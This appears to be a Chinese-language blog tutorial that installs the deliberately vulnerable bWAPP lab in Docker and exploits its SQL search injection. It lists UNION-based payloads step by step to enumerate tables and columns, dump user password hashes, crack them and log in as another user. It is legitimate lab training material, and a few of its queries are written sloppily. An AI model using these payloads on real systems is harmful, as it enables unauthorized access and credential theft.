docker安装靶场环境bWAPP以及SQL注入拿到用户密码登陆系统

发布时间 2023-08-04 00:13:55作者: 忽如一夜娇妹来

docker安装靶场环境bWAPP以及SQL注入拿到用户密码登陆系统

原文地址:https://firstsaofan.top/archives/docker安装靶场环境bwapp以及sql注入拿到用户密码登陆系统

一:docker安装靶场环境bWAPP

 //1.拉取镜像 docker pull raesene/bwapp  //2.运行镜像20008是映射到本地端口,自己随意一般10000-50000的端口计算机默认不使用,选取这个区间的端口更合适点--restart=always 也可以去掉,随意 docker run --name bwapp -d -p 20008:80 --restart=always raesene/bwapp

(1)第一次访问,需要初始化数据库,如图点击即可完成数据库的初始化

http://localhost:20008/install.php

图片

(2)初始化成功,成功之后访问:http://localhost:20008/

图片

(3)根据默认账号登陆

user:bee

password:bug

图片

(4)登陆成功之后

右上角选择当前的的漏洞:

我这里选择的是sql 搜索注入漏洞,然后点击hack即可

图片

二:攻击学习:

(1)第一步可以填写信息的并且回显的,我们输入'这个单引号,然后查询。看是否会有sql报错,如果有,99.9%则有sql注入漏洞。

图片

图片

他这个直接错误信息都显示在了前端,并且我们还知道他这个是MySQL数据库了。不然我们需要f12然后network去看发起的请求。看对应的response。

图片

(2)确定有sql注入漏洞,想办法拿到隐藏信息,

通过写查询条件测试,输入框里面拼接的是movie的title来进行搜索的,那么我加入恒等式 or 1=1即可拿到所有的信息。

 猜想他的后台sql   select * from table_name where title = ''   那么我这样输入信息即可  G' or 1 =1 #   或者-- (-- 空格也是注释)  G' or 1 =1 --   select * from table_name where title = 'G' or 1 =1 # ' 

发现与什么都不填写的数据都是十条,那没事了。准备思考如何拿到用户表

图片

(3)想办法拿到数据库的所有表,的用户表的用户名和密码,重点就是user,password.

 select * from table_name where title = 'G' or 1 =1 # '   database(),version(),user(),函数可以拿到当前的数据库,版本号,用户。  G' or 1 =1 #   G' union select 1,2,3,4,5 #

图片

(4)测试union select 1,2,3,4,5 .....n,直到能正常回显数据。

测试n为7

 G' union select 1,2,3,4,5,6,7 #

图片

(5)正常显示之后,则将对应的函数替换为上述的1---N的column。

比如

 G' union select database(),version(),user(),4,5,6,7 #

图片

(6)但是database没有正常显示,说明这个不是一个字符串类型,不能直接这样显示,那么换成另外一个字段来显示

比如

 G' union select 1,version(),user(),database(),5,6,7 #

如图正常显示了数据库名字bWAPP,版本号5.5.47-0ubuntu0.14.04.1,user:root@localhost,由于是靶场环境,所以是localhost,如果是服务器,这里应该是数据库服务器的ip地址:

图片

(7)那么现在可以拿到这个数据库里面的所有表

 G' union select table_name from information_schema.tables where table_schema ='bWAPP' #  select table_name from information_schema.tables where table_schema ='bWAPP'   select * from select * from A where title = ' G' union select 1,version(),user(),database(),table_name,6,7 from information_schema.tables where table_schema=database() # //也可以直接使用database() G' union select 1,version(),user(),database(),table_name,6,7 from information_schema.tables where table_schema=database() #

可以拿到所有的table:blog,heroes,movies,users,visitors.

字面意思我们需要users表里面的所有字段

图片

(8) 拿到users表里面的所有字段;将上述的sql的table_name,以及information_schema.tables 换成column_name和information_schema.columns即可

 select * from select * from A where title = ' G' union select 1,version(),user(),database(),column_name,6,7 from information_schema.columns where table_schema='users' #  G' union select 1,version(),user(),database(),column_name,6,7 from information_schema.columns where table_schema='users' #

图片

(9) 以上字段分析觉得 id ,login,user_agent,admin(由于默认给的账号是bee/bug)我认为这个admin可能是判断是否是管理员权限的字段,并不是登陆id。密码就是字面意思password字段。

 G' union select 1,id,login,user_agent,password,6,7 from users # 
这里我不明白为什么user_agent字段不存在

图片

暂时去掉user_agent

 G' union select 1,id,login,4,password,6,7 from users # 

结果如下,id应该是自增主键,login是登陆的用户id

 1   A.I.M.  6885858486f31043e5839c735d99457f045affd0    4   Link  2   bee 6885858486f31043e5839c735d99457f045affd0    4   Link

密码可以看出是加密的,并且2个密码一样,我们可以知道是bug,

我们可以去md5.com去撞库

撞库地址

图片

图片

(10)使用账号A.I.M. 密码为bug登录系统

 A.I.M.  bug

图片

(11)登录成功可以看见欢迎换成了A.I.M. 了

图片